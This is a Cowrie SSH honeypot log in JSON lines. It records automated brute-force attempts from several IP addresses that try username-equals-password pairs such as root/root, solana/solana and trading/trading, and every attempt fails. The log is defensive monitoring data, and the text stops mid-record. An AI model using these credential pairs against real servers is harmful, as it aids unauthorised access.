{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:38:25.665581Z","src_ip":"2.57.122.208","session":"c1fb08f095b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:38:25.674139Z","src_ip":"2.57.122.208","session":"c1fb08f095b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:38:26.311217Z","src_ip":"2.57.122.208","session":"c1fb08f095b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:38:27.415991Z","src_ip":"2.57.122.208","session":"c1fb08f095b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":43620,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b50ce493015","protocol":"ssh","message":"New connection: 193.32.162.151:43620 (159.203.135.109:22) [session: 4b50ce493015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:38:32.765368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:38:32.770277Z","src_ip":"193.32.162.151","session":"4b50ce493015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:38:32.875673Z","src_ip":"193.32.162.151","session":"4b50ce493015","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"khe01","password":"khe01","message":"login attempt [khe01/khe01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:38:33.253818Z","src_ip":"193.32.162.151","session":"4b50ce493015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:38:34.359099Z","src_ip":"193.32.162.151","session":"4b50ce493015","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":60056,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8d4410dc456","protocol":"ssh","message":"New connection: 78.128.112.74:60056 (159.203.135.109:22) [session: e8d4410dc456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:39:49.475030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:39:49.618652Z","src_ip":"78.128.112.74","session":"e8d4410dc456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:39:49.849790Z","src_ip":"78.128.112.74","session":"e8d4410dc456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:39:50.427689Z","src_ip":"78.128.112.74","session":"e8d4410dc456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:39:51.532213Z","src_ip":"78.128.112.74","session":"e8d4410dc456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42620,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4fcd7aa37ad","protocol":"ssh","message":"New connection: 80.94.92.186:42620 (10.17.0.5:22) [session: e4fcd7aa37ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:09.591719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:09.664973Z","src_ip":"80.94.92.186","session":"e4fcd7aa37ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:09.755326Z","src_ip":"80.94.92.186","session":"e4fcd7aa37ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:10.846190Z","src_ip":"80.94.92.186","session":"e4fcd7aa37ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:12.041418Z","src_ip":"80.94.92.186","session":"e4fcd7aa37ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40890,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbafc436efcc","protocol":"ssh","message":"New connection: 195.178.110.218:40890 (159.203.135.109:22) [session: dbafc436efcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:36.510560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:36.514261Z","src_ip":"195.178.110.218","session":"dbafc436efcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:36.593398Z","src_ip":"195.178.110.218","session":"dbafc436efcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:36.831500Z","src_ip":"195.178.110.218","session":"dbafc436efcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:37.914266Z","src_ip":"195.178.110.218","session":"dbafc436efcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60182,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eb94136f889","protocol":"ssh","message":"New connection: 2.57.122.208:60182 (10.17.0.5:22) [session: 0eb94136f889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:38.556945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:38.560671Z","src_ip":"2.57.122.208","session":"0eb94136f889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:38.666877Z","src_ip":"2.57.122.208","session":"0eb94136f889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:38.986280Z","src_ip":"2.57.122.208","session":"0eb94136f889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:40.139700Z","src_ip":"2.57.122.208","session":"0eb94136f889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":59486,"dst_ip":"159.203.135.109","dst_port":22,"session":"0079c4a9762e","protocol":"ssh","message":"New connection: 193.32.162.151:59486 (159.203.135.109:22) [session: 0079c4a9762e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:45.043438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:45.048049Z","src_ip":"193.32.162.151","session":"0079c4a9762e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:45.245638Z","src_ip":"193.32.162.151","session":"0079c4a9762e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gsulliva","password":"gsulliva","message":"login attempt [gsulliva/gsulliva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:45.583911Z","src_ip":"193.32.162.151","session":"0079c4a9762e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:40:46.694553Z","src_ip":"193.32.162.151","session":"0079c4a9762e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59668,"dst_ip":"10.17.0.5","dst_port":22,"session":"67b60105bfe8","protocol":"ssh","message":"New connection: 2.57.122.208:59668 (10.17.0.5:22) [session: 67b60105bfe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:42:52.344216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:42:52.437822Z","src_ip":"2.57.122.208","session":"67b60105bfe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:42:52.632060Z","src_ip":"2.57.122.208","session":"67b60105bfe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:42:53.152653Z","src_ip":"2.57.122.208","session":"67b60105bfe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:42:54.367065Z","src_ip":"2.57.122.208","session":"67b60105bfe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":47126,"dst_ip":"159.203.135.109","dst_port":22,"session":"457c6b23c9b8","protocol":"ssh","message":"New connection: 193.32.162.151:47126 (159.203.135.109:22) [session: 457c6b23c9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:01.139380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:43:01.158061Z","src_ip":"193.32.162.151","session":"457c6b23c9b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh